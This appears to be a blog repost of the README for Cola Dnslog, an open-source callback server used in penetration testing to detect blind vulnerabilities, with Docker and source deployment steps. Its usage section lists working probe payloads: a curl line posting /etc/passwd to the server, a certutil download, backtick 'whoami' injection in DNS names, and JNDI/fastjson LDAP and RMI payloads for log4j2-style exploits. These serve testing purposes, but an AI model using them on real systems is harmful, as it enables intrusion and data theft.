Cola Dnslog 更加强大的dnslog平台

作者:Sec-Labs | 发布时间:

sugarless

dnslog

Cola Dnslog v1.3.1 更加强大的dnslog平台/无回显漏洞探测辅助平台 完全开源 dnslog httplog ldaplog rmilog 支持dns http ldap rmi等协议 提供API调用方式便于与其他工具结合 支持钉钉机器人、Bark等提醒 支持docker一键部署 后端完全使用python实现 前端基于vue-element-admin二开

项目地址

https://github.com/AbelChe/cola_dnslog

Cola Dnslog

--AbelChe

Cola Dnslog 是一款更加强大的dnslog平台(无回显漏洞探测辅助平台),

  • 完全开源
  • 支持dns http ldap rmi等协议
  • 提供API调用方式便于与其他工具结合
  • 支持钉钉机器人、Bark等提醒
  • 支持docker一键部署


涉及到技术、框架:

dns` `http` `ldap` `rmi` `webui` `vue-element-admin` `fastapi` `sqlite

可帮助检测漏洞:

log4j2` `fastjson` `ruoyi` `Spring` `RCE` `Blind SQL` `Bland XXE

特色:

Dingtalk Robot` `Bark` `API` `ldaplog` `rmilog` `Docker

Stargazers over time

🥯 使用方法

假设你购买的域名为example.com

你的vps ip为1.1.1.1

域名

请自行购买域名,并将域名的解析服务器托管至部署cola_dnslog的服务器

以godaddy为例

  • 配置域名解析处右上角三个点,点击Host Names290b2bb04c142920

     

  • 修改或新增主机名如下图所示,ip地址填写你的vps地址即可618e34d74f142932

     

  • 回到dns管理,将域名服务器修改为ns1.example.comns2.example.com

029fa30b38142945

 

安装部署

Docker(推荐)

一键启动(推荐)

  1. 下载源码

git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog

  1. 修改docker-compose.yml中environment变量

...
  server:
    ...
    environment:
      DNS_DOMAIN: example.com # 自己的域名
      NS1_DOMAIN: ns1.example.com # ns1绑定
      NS2_DOMAIN: ns2.example.com # ns2绑定
      SERVER_IP: 1.1.1.1 # vps ip
    ...
  front:
      ...
    environment:
      API_BASE_URL: 'http://1.1.1.1:28001' # http://vpsip:28001
    ...

  1. 启动

docker-compose up -d

  1. 启动之后查看docker日志或者查看info.txt获取账号信息

server端程序运行会在程序根目录创建一个info.txt用于记录初始化的账号信息

docker-compose logs
docker exec -it <container_id> cat /coladnslog/info.txt

45bc3d127d144112

 

如果需要自定义端口,请修改docker-compose.yml的端口映射ports即可

前后端分离部署

服务端:

git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog

docker build -t coladnslog_server -f Dockerfile_server .
docker run -itd -p 53:53/udp \
-p 80:80 \
-p 1099:1099 \
-p 1389:1389 \
-p 28001:28001 \
-e DNS_DOMAIN=example.com \
-e NS1_DOMAIN=ns1.example.com \
-e NS2_DOMAIN=ns2.example.com \
-e SERVER_IP=1.1.1.1 \
--name ColaDnslog_server coladnslog_server

客户端:

git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog

sudo docker build -t coladnslogfront -f Dockerfile_front .
sudo docker run -itd -p 18080:18080 coladnslogfront

源码安装

共分四步

第一步 下载源码

下载源码

git clone https://github.com/Abelche/cola_dnslog.git

我习惯于将服务用tmux放到后台运行

第二步 启动webserver

安装python(python>=3.7)依赖

注意,需要用python3.7及以上版本,否则会有兼容性问题,多python推荐使用conda

cd cola_dnslog
pip install -r requirements.txt

修改根目录下的config.yaml

主要需要修改DNS_DOMAIN NS1_DOMAIN NS2_DOMAIN SERVER_IP

可选: 修改HTTP_RESPONSE_SERVER_VERSION伪造http返回中Server字段

global:
  DB_FILENAME: sqlite.db

logserver:
  DNS_DOMAIN: example.com
  NS1_DOMAIN: ns1.example.com
  NS2_DOMAIN: ns2.example.com
  SERVER_IP: 1.1.1.1
  DNS_PORT: 53
  HTTP_HOST: 0.0.0.0
  HTTP_PORT: 80
  HTTP_RESPONSE_SERVER_VERSION: nginx
  LDAP_HOST: 0.0.0.0
  LDAP_PORT: 1389
  RMI_HOST: 0.0.0.0
  RMI_PORT: 1099

webserver:
  HOST: 0.0.0.0
  PORT: 28001
  PASSWORD_SALT: 随便一长串字符串,如:cuau89j2iifdas8

启动webserber端和logserver端,注意这里一定要先启动webserver端(因为要先通过webserver端初始化数据库,初始化之后会在终端输出账号、密码、token、logid等信息。

chmod +x start_webserver
./start_webserver

ed85c21714144131

 

第三步 启动logserver

chmod +x start_logserver
./start_logserver

c03e1787a2144147

 

第四步 启动前端

现在来到前端(不一定要和webserver放在一起,你甚至可以通过electron打包成本地客户端),先修改配置文件.env.production

cd src/app/front
vim .env.production
# just a flag
ENV = 'production'

# base api
VUE_APP_BASE_API = 'http://1.1.1.1:28001'

TARGET_API = 'http://1.1.1.1:28001'

然后npm安装依赖、打包、启动http服务(这里可以随意选择http服务器,为了方便我直接用python启动)

cd src/front
npm install
npm run build:prod

cd dist
python3 -m http.server 18001

至此,三端(webserver端、logserver端、webui前端)已经全部开启!

这时,访问http://1.1.1.1:18001应该可以看到登录页面!

玩得开心!

钉钉机器人

在钉钉群新建机器人,安全设置:添加自定义关键词coladnslog

9079d6a8de144158

 

并获取到webhook的token,注意,只需要填写token即可

32fe5f5871144209

 

进入webui,修改Dingtalk Robot Token为上文获取的token,点击Update保存即可

1debe31458144222

 

效果如下:

5a75c9a8ac144234

 

Bark

Finb/Bark: Bark is an iOS App which allows you to push custom notifications to your iPhone (github.com)

Finb/bark-server: Backend of Bark (github.com)

同上 进入webui,开启Bark开关,然后修改bark url,点击Update保存

6f47921df3144246

 

效果如下:

e110393218144259

 

如何使用

上文提到,假定我的域名和ip是example.com1.1.1.1,并且我们账户的logid为qrq

DNS

nsloopup `whoami`.qrq.example.com
ping `whoami`.qrq.example.com

HTTP

curl 1.1.1.1/qrq/some/info
curl -d @/etc/passwd 1.1.1.1/qrq/postdata
certutil -urlcache -split -f http://1.1.1.1/x x

LDAP

log4j2 fastjson等可以使用此方法

注意这里必须要令最后路径的最后作为logid,如:ldapqrq xxxxqrq qrq xxx/qrq

${jndi:ldap://1.1.1.1:1389/ldapqrq}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://1.1.1.1:1389/ldapqrq", "autoCommit":true}

RMI

同上,log4j2 fastjson等

${jndi:rmi://1.1.1.1:1099/rmiqrq}
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://1.1.1.1:1099/rmiqrq", "autoCommit":true } }

👀 概览

登录

c2783fe1f6144317

 

首页

063929aeb5144336

 

Dnslog

ca57f9c88e144352

 

Httplog

5e365bd9de144441

 

Ldaplog

30302cb6ad144503

 

Rmilog

image-20220730151921478

账号信息

f9c403a19a144519

 

钉钉机器人

5a75c9a8ac144535

 

Bark

e110393218144547

 

📔 更新日志

  • 2022-08-12 v1.3.1

  1. 修复docker部署方式dns端口冲突问题

  • 2022-08-12 v1.3.0

  1. 创建api文档https://abelche.github.io/cola_dnslog/
  2. 更新docker部署方式
  3. 修复部分显示问题

  • 2022-08-09 v1.2.2 v1.2.3

  1. 更新readme
  2. 修复文件名拼写错误

  • 2022-08-03 v1.2.1

  1. 更新readme

  • 2022-08-02 v1.2.0

  1. 增加bark提醒功能
  2. 修改logserver端http的返回为1x1的gif格式图片
  3. 增加http返回包里Server字段的伪造功能
  4. 修复前端profile页面开关bug

  • 2022-08-01 v1.1.0

  1. 增加重新生成token、修改密码功能
  2. 优化前端展示效果,优化渲染速度
  3. 增加id排序功能
  4. 首页Usage部分根据服务端自动生成
  5. 增加钉钉机器人
  6. 修复rmi协议解析bug

  • 2022-07-30 v1.0.0

  1. cola_dnslog发布 v1.0.0

🎯 ==TODO==

  • 联动钉钉【2022-07-31】
  • 联动bark【2022-08-02】
  • 添加api文档【2022-08-12】
  • 增加ip属地功能
  • docker一键部署【2022-08-12】
  • 其他协议

标签:工具分享, 渗透测试框架, dnslog平台